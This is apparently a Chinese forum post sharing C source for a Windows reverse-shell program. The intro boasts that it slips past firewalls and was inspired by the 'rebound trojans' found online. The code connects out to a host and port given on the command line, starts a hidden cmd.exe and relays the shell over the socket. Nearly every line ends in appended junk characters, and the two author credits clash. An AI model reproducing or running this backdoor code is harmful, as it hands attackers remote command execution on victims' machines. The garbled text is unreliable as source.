这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 BMNr<P2li
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/* ============================== \E@s_fQ]
Rebound port in Windows NT >{m2E8U0
By wind,2006/7 iS1Gb$?
===============================*/ 1s`)yu^`v
#include U,<]J*b(@4
#include C]'g:93L
"#pzZ)Zh
#pragma comment(lib,"wsock32.lib") PXosFz~
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void OutputShell(); \&iil =H8!
SOCKET sClient; 2vc\=
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; j
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void main(int argc,char **argv) a jQqj.
{ efjO8J[uk-
WSADATA stWsaData; .Z=Ce!
int nRet; I1)-,/nEjg
SOCKADDR_IN stSaiClient,stSaiServer; )'5<6Q.]
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if(argc != 3) ivzAlwP
{ v**z$5x9
printf("Useage:\n\rRebound DestIP DestPort\n"); kG1;]1tT#
return; gF[6c`-s
} M!gBmQZ1
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WSAStartup(MAKEWORD(2,2),&stWsaData); ?j/kOD0
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QqtC`H\
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stSaiClient.sin_family = AF_INET; P8wy*JvT
stSaiClient.sin_port = htons(0); ptpW41t}^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); oYz!O]j;a
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~BZXt7DE
{ 3ai (x1%
printf("Bind Socket Failed!\n"); QCOLC2I
return; hH%,!tSx
} -J,Q;tj
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stSaiServer.sin_family = AF_INET; <%z@
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1E8H%2$ V
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u7;`4P:o@
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) XFW5AP
{ r6`\d k
printf("Connect Error!"); _Vjpw,
return; lhqQCV
} nr OqH
OutputShell(); k(P3LJcYQ
} -bypuMQ-p
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void OutputShell() g nt45]@{
{ (I4y[jnD
char szBuff[1024]; v f`9*x F
SECURITY_ATTRIBUTES stSecurityAttributes; P##Z[$IJ3
OSVERSIONINFO stOsversionInfo; &Y1`?1;nw
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; uBmxh%]C~
STARTUPINFO stStartupInfo; }A|))Ao|
char *szShell; Wo{K}
PROCESS_INFORMATION stProcessInformation; I:#Ok+
unsigned long lBytesRead; y%4 Gp
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); v~"Ef_`
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); k oM]S+1
stSecurityAttributes.lpSecurityDescriptor = 0; !k,<|8(0
stSecurityAttributes.bInheritHandle = TRUE; R<_?W#$j
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); R2w`Y5#`
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ikj=`,a2B
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); b,dr+RB
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~%s}S
stStartupInfo.wShowWindow = SW_HIDE; i\Yl
stStartupInfo.hStdInput = hReadPipe; {I{3 (M#"
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; d$K=c1
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GetVersionEx(&stOsversionInfo); e*:}$u8a
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switch(stOsversionInfo.dwPlatformId) f&ytK
{ FI{AZb_'
case 1: h*s`^W3
szShell = "command.com"; @EHIp{0.
break; EKuSnlTXba
default: IIxJqGN:
szShell = "cmd.exe"; e_/x&a(i8
break; ]>D)#
} <F7V=Er
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Uky9zGa
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send(sClient,szMsg,77,0); dQ9
ah
while(1) KCUU#t|8V\
{ "Sjr_!u
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !
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if(lBytesRead) +K^h!d]
{ ,r=re!QI7
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tz4
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send(sClient,szBuff,lBytesRead,0); +TN^NE
} ~c*
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else T%(C-Quh
{ 6tn+m54_
lBytesRead=recv(sClient,szBuff,1024,0); sTkkM9
if(lBytesRead<=0) break; vXdZmYrC
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); X|b2c+I
} Oz{%k#X-
} KE.Dt
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return; ?x3Jv<G0*
}